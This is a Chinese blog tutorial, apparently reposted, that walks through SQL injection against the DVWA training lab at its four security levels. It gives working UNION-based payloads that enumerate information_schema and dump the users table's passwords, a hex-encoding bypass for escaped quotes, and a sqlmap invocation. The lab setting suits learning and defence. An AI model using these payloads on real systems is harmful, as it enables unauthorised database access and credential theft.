简单的SQL注入

Posted 泷十三

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了简单的SQL注入相关的知识,希望对你有一定的参考价值。

啥是SQL注入?

 

 

 我们要理清我们要进行的思路  大致分7步

 

 

 在DVWA中级别有四种  low  midium   high   impossible

我们先设置成low 

我们在里面看一下源码设置

 

 

 通过源码我们发现它对参数没有任何的过滤  直接带入数据库进行查询  我们猜测肯恩给存在字符型sql注入

 

 

 判断sql是否存在注入,以及注入的类型

 

 

 接下来我们猜测sql查询语句中的字段数   1‘  order  by  1#     (逐渐增加后面的1的大小进行猜测)

 

 

 当输入3#时就出现了错误,说明只有两列的数据   查询的表的字段数是2

 

 

 我们来看一下回显

 

 

 接下来查询当前的数据库,以及版本     1\' union select version(),database()#

接下来我们获取数据库的表   1\' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#   

 

 

 

 

 接下来我们获取表中的字段名     1\' union select 1,group_concat(column_name) from information_schema.columns where table_name=\'users\'#   

 

 

 下面我们获得字段中的数据         1\' union select user,password from users#

 

 我们看到的就是密码  来!让我们都破解了

 

 

 

 

 

 

 

 接下来我们将级别设置为medium  发现user  id  已经限制了

 

 看一下源代码  发现增加了一溜规则

 

 这个时候我们不能在这里进行sql注入了,我们可以在别的地方,嘻嘻

我们浏览器启用代理

 

 打开我们的抓包工具

 

 我们抓到包了,我们发的是1  我们在最下面给他改一下

 

 稍微改动,他回显给我们的就不再是1了

 

还是相同的步骤我们猜测字段个数

 

 

 

 看一下3

 

 

 

 接下来确定回显位置

 

 

 

 获得数据库名称以及版本(注意和low不太一样,后面不能有‘)

 

 

 

 获得数据库中所有表        

 

 

 

 下面获取表中的所有字段名,考虑到单引号被转移,可以利用16进制绕过

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

 

 

 

 

 最后获取字段中的数据 

 

 

 

 

接下来我们将DVWA的级别设置成high    发现当你点中SQL injection界面时会出现一共点击   点击完我们会跳到另外一共界面

 

 我们看一下高级的源码   发现里面没加啥特殊的控制,唯一就是跳了个网页

 

 我们来获得密码

 

 

 最后我们将级别设置成impossible    看一下它的源码    发现里面加了很多东西,我们暂时莫得办法了

当然我们可以把抓到的包,储存下来

 

 在sqlmap里面进行执行    aqlmap.py  -r  C:\\11.txt  --level 3

 

 数据库中的这三个表我们要记住因为经常要用到

以上是关于简单的SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

简单SQL注入试探

简单sql注入学习

sql注入篇简单技术

sql注入简单实现二次注入

sql注入是啥

记一次简单的sql注入